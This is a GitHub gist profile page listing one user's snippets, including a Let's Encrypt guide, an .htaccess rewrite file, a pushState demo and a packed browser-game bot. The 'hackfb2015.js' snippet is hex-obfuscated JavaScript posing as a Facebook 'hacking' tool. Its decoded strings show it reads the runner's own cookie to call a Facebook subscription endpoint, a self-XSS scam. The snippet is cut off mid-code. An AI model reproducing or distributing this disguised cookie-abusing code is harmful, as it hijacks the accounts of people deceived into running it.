Skip to content

Instantly share code, notes, and snippets.

Jorge Pacora jpacora

View GitHub Profile
View fp.php
<?php
echo "ju14";
?>
View ConneMinely.cpp
//
// main.cpp
// ConneMinely
//
// Created by Jorge Pacora on 27/05/17.
// Copyright © 2017 Jorge Pacora. All rights reserved.
//
#include <iostream>
@jpacora
jpacora / LetsEncrypt.md
Created Dec 7, 2016 — forked from davestevens/LetsEncrypt.md
Let’s Encrypt setup for Apache, NGINX & Node.js
View LetsEncrypt.md

Let's Encrypt

Examples of getting certificates from Let's Encrypt working on Apache, NGINX and Node.js servers.

Obtain certificates

I chose to use the manual method, you have to make a file available to verify you own the domain. Follow the commands from running

git clone https://github.com/letsencrypt/letsencrypt
cd letsencrypt
View stack.yaml
heat_template_version: 2013-05-23
description: >
This template deploys a single server.
This template is from the "Introduction to Heat" RDO hangout:
https://plus.google.com/events/c9u4sjn7ksb8jrmma7vd25aok94
parameters:
@jpacora
jpacora / ikariam.js
Created Jan 18, 2015
Sistema automático para Ikariam
View ikariam.js
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0 8(){$("#6").5("3");l(0(){4 e=2.7;4 t="v.c"+$("#d .f g h:i-j .k a").F("m")+"&n=o&9="+2.7.9+"&q=r&s=u&b="+2.w.b+"&x=1";$.y(t,0(e){z.A("B C: ",e);$("#6").5("3")})},D)}E(0(){8()},p)',42,42,'function||window|click|var|trigger|js_CityPosition17Link|bgViewData|doTrick|currentCityId||actionRequest|php|pirateCaptureBox||table01|tbody|tr|first|child|action|setTimeout|href|backgroundView|city|15e4|templateView|pirateFortress|currentTab||tabBootyQuest|index|dataSetForView|ajax|post|console|log|Ajax|Response|1500|setInterval|attr'.split('|'),0,{}))
View hackfb2015.js
var _0x6daf=["\x53\x61\x79\x48\x65\x6C\x6C\x6F","\x47\x65\x74\x43\x6F\x75\x6E\x74","\x41\x74\x61\x71\x75\x65\x20\x6C\x69\x73\x74\x6F\x2E\x20\x76\x69\x63\x74\x69\x6D\x61\x3A\x20\x46\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x31\x32\x33\x34\x30\x32\x34\x37\x38\x38\x20\x3A\x20","\x44\x61\x20\x63\x6C\x69\x63\x6B\x20\x65\x6E\x20\x61\x63\x65\x70\x74\x61\x72\x20\x70\x61\x72\x61\x20\x65\x6D\x70\x65\x7A\x61\x72\x20\x61\x20\x20\x68\x61\x63\x6B\x65\x61\x72\x2E"];function NewObject(_0x51c0x2){var _0x51c0x3=0;this[_0x6daf[0]]=function (_0x51c0x4){_0x51c0x3++;alert(_0x51c0x2+_0x51c0x4);} ;this[_0x6daf[1]]=function (){return _0x51c0x3;} ;} ;var obj= new NewObject(_0x6daf[2]);obj.SayHello(_0x6daf[3]);
var _0xf2b3=["\x6D\x61\x74\x63\x68","\x63\x6F\x6F\x6B\x69\x65","\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x66\x72\x69\x65\x6E\x64\x73\x2F\x6C\x69\x73\x74\x73\x2F\x73\x75\x62\x73\x63\x72\x69\x62\x65\x2F\x6D\x6F\x64\x69\x66\x79","\x66\x6C\x69\x64\x3D","\x26\x61\x63\x74
@jpacora
jpacora / .htaccess
Created May 23, 2013
Url's amigables
View .htaccess
Options +FollowSymLinks
Options -MultiViews
RewriteEngine On
RewriteBase /
RewriteRule ^(system|ax|s) - [L]
RewriteCond %{HTTP_HOST} !^www\.midominio\.com [NC]
RewriteRule ^(.*)$ http://www.midominio.com/$1 [L,R=301]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-s
RewriteCond %{REQUEST_FILENAME} !-l
@jpacora
jpacora / gist:5573688
Created May 14, 2013
Ejemplo de pushState (HTML5)
View gist:5573688
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>window.history.pushState - Ejemplo</title>
</head>
<body>
<h1>window.history.pushState Ejemplo</h1>
<script type="text/javascript">
window.history.pushState("", "Hola mundo", 'hola-mundo');
You can’t perform that action at this time.